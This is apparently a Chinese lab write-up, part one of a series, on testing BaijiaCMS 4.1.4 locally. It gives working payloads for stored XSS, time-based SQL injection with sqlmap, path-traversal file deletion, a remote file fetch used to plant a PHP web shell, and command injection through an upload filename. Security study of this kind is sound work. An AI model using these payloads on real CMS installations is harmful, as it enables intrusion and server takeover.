PHP代码审计–百家CMS4.1.4项目实战(上)

PHP代码审计–百家CMS4.1.4项目实战(上)

PHP代码审计–百家CMS4.1.4项目实战(上)

前提:

最近工作有点闲,就想着开始拓展技能了,学一下代码审计,入门就从php开始吧。这个百家CMS项目,我分为两部分测试,一、是渗透测试纯黑盒测试 二、代码审计

一、项目介绍

百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。完善的商城购物系统,全方位商品展现+便捷的购买流程,完善的订单管理商品库存管理以及发货操作功能。

二、项目部署

2.1 工具及源码介绍

百家CMS4.1.4源代码下载: https://gitee.com/openbaijia/baijiacms.git

我是用phpstudy 2016搭建的环境,直接把项目放在www文件夹下面就可以了。

百家cms(baijiacms-master)是V4.1.4版本的

Phpstorm版本是2021.1.3

2.2环境的安装搭建

首先,看一下cms的README.md介绍文件,这是一套baijiaCMS的电商系统,我们需要在READM.md介绍文件中,查看一下搭建环境的所需配置版本,如果使用的版本和需求的不一样,可能会导致无法正常安装或者产生报错。

Ps:在代码审计时`README.md`文件是新手审计前必须要关注的一个文件,因为在这个文件中会写到安装时PHP版本要求以及代码结构中每个目录代表什么功能,这对接下来的审计是很有作用的。

PHP代码审计--百家CMS4.1.4项目实战(上)

首先我们把这里的过滤代码屏蔽一下,为了后面我们可以顺利测试sql注入,xss注入。

代码的位置:includes/baijiacms.php

PHP代码审计--百家CMS4.1.4项目实战(上)

直接进入http://127.0.0.1:8081/baijiacms-master

开始百家cms的安装,点击同意,下一步

PHP代码审计--百家CMS4.1.4项目实战(上)

下一步

PHP代码审计--百家CMS4.1.4项目实战(上)

这一步需要根据自己需求填写管理员信息,数据库信息按照自己的要求来填写,一般本地地址是127.0.0.1,账号密码则为目标数据库的账号密码。

PHP代码审计--百家CMS4.1.4项目实战(上)

PHP代码审计--百家CMS4.1.4项目实战(上)

进入登录页面url:http://127.0.0.1:8081/baijiacms-master/index.php

PHP代码审计--百家CMS4.1.4项目实战(上)

三、渗透测试

3.1、存储型XSS

使用安装时使用的管理员账号密码登录系统。

点击店铺管理—》添加店铺

PHP代码审计--百家CMS4.1.4项目实战(上)

在店铺名称的位置输入测试XSS payload:<script>alert(11);</script>

点击提交

PHP代码审计--百家CMS4.1.4项目实战(上)

再次查看店铺管理,发现弹出xss

PHP代码审计--百家CMS4.1.4项目实战(上)

3.2、SQL注入

在店铺管理—》店铺名称搜索框内搜索,使用burp抓包

PHP代码审计--百家CMS4.1.4项目实战(上)

正常的查询情况为

PHP代码审计--百家CMS4.1.4项目实战(上)

添加了测试payload:1234' and sleep(5) #

情况为下图,返回时间明显边长

PHP代码审计--百家CMS4.1.4项目实战(上)

直接使用sqlmap跑一下:python3 sqlmap.py -r 123.txt

发现是一种时间盲注

PHP代码审计--百家CMS4.1.4项目实战(上)

3.3、任意文件删除漏洞

进入备份与还原模块,点击备份商城数据

PHP代码审计--百家CMS4.1.4项目实战(上)

然后进入数据还原模块

PHP代码审计--百家CMS4.1.4项目实战(上)

点击删除 数据备份,使用burp抓包

PHP代码审计--百家CMS4.1.4项目实战(上)

发现url中的id参数为删除的数据库备份文件名称,既然这是文件,就试试能不能删除其他文件。

PHP代码审计--百家CMS4.1.4项目实战(上)

在WWW目录下创建一个abc目录(目录,重要的事情说两遍),然后将../../../abc 路径base64加密为Li4vLi4vLi4vYWJj  ,然后使用burp发包删除。

PHP代码审计--百家CMS4.1.4项目实战(上)

3.4、任意文件写入+getshell

首先需要创建一个店铺管理员账号,

PHP代码审计--百家CMS4.1.4项目实战(上)

PHP代码审计--百家CMS4.1.4项目实战(上)

在后台管理商城中有很多设置模块可以提取网络图片,

使用店铺管理员登录,进入商城设置—》会员订单入口—》选择图片

PHP代码审计--百家CMS4.1.4项目实战(上)

选择提权网络图片,随便输入然后,使用burp抓包

PHP代码审计--百家CMS4.1.4项目实战(上)

然后再开启一个简单的web服务,然后把请求包中的参数修改为我们开启的web服务的文件连接。

我是在window中开启,直接创建一个test文件夹,在文件夹中创建一个测试文件,然后在此目录下开启web服务。

命令:python -m SimpleHTTPServer 9001

PHP代码审计--百家CMS4.1.4项目实战(上)

修改请求包中的参数为我们开启的web服务上的文件。

url=http://127.0.0.1:9001/test.php

PHP代码审计--百家CMS4.1.4项目实战(上)

访问一下文件

PHP代码审计--百家CMS4.1.4项目实战(上)

再上传一个php一句木马上传,蚁剑连接试试,成功连接getshell

PHP代码审计--百家CMS4.1.4项目实战(上)

3.4、命令执行

这个命令执行在黑盒测试中很难测试出来,为什么这么说,并不是由于我们无法想到上传点处拼接命令这种测试方法,而是该处需要另外设置一处功能点后上传文件才可才可触发命令执行。

首先登录系统管理员账号进入“附件设置模块”进行开启配置。

PHP代码审计--百家CMS4.1.4项目实战(上)

然后登陆店铺管理员账号

进入第三方接入—》微信号设置模块,选择.txt文件进行上传

PHP代码审计--百家CMS4.1.4项目实战(上)

在filename处使用&拼接命令,造成命令执行。

参数:filename="&whoami&.txt"

PHP代码审计--百家CMS4.1.4项目实战(上)

参数:filename="&dir&.txt"

PHP代码审计--百家CMS4.1.4项目实战(上)

参考链接:

PHP代码审计之百家CMS4.1.4版本实战(下)之代码审计中的SQL注入&RCE&任意文件写入&任意文件删除等

https://xz.aliyun.com/t/10678

https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247484280&idx=1&sn=9867290b6640418534318049899281be&chksm=ce8d46f3f9facfe57afb58b2c7ea286a25ee1dc7e8e225907035c28f72f365c084c8bab04781&scene=21#wechat_redirect

声明:

本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。

                       

点击阅读全文

上一篇 2023年 5月 28日 am10:53
下一篇 2023年 5月 28日 am11:07